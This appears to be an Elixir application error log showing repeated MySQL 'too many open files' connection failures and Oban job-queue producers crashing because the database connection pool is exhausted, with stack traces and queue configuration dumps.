[Sat Sep  5 23:42:38.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:41.385000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:41.432000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:43.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:42:31.238434Z], limit: 5, uuid: "49d9cd55-8d03-48b3-8935-1e33915a96be", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:31.238440Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258829>, refresh_timer: #Reference<0.2525715032.1077411843.258828>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:42:31.239647Z], limit: 20, uuid: "ff974459-b3b0-4c84-a96f-8c571691987c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:31.239652Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258895>, refresh_timer: #Reference<0.2525715032.1077411843.258859>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:43.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:42:31.239796Z], limit: 10, uuid: "1f29315d-2a9a-4dff-b0c6-6eb112e72898", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:31.239801Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258896>, refresh_timer: #Reference<0.2525715032.1077411843.258862>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:42:31.239975Z], limit: 50, uuid: "d9536441-20cf-45bc-9d4c-55a5d5be5055", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:31.239980Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258897>, refresh_timer: #Reference<0.2525715032.1077411843.258863>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:42:31.241653Z], limit: 5, uuid: "cc70f61a-e253-47cf-9fe2-cce576eb62dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:31.241658Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.26896>, refresh_timer: #Reference<0.2525715032.1099431938.26894>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:42:31.241408Z], limit: 3, uuid: "56540be1-1b5d-42ab-b213-ed2e28c26e59", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:31.241414Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258898>, refresh_timer: #Reference<0.2525715032.1121189889.134413>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:43.372000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:46.737000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:51.498000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:52.151000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:54.000000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:54.891000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:42:43.240708Z], limit: 10, uuid: "d1e08cc0-1ab4-493a-979b-f205199dcdf1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:43.240714Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25617>, refresh_timer: #Reference<0.2525715032.1068498948.25597>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:42:43.239579Z], limit: 5, uuid: "c492fa13-2230-4491-a3e2-a3ab15708e1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:43.239586Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25618>, refresh_timer: #Reference<0.2525715032.1068498948.25550>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
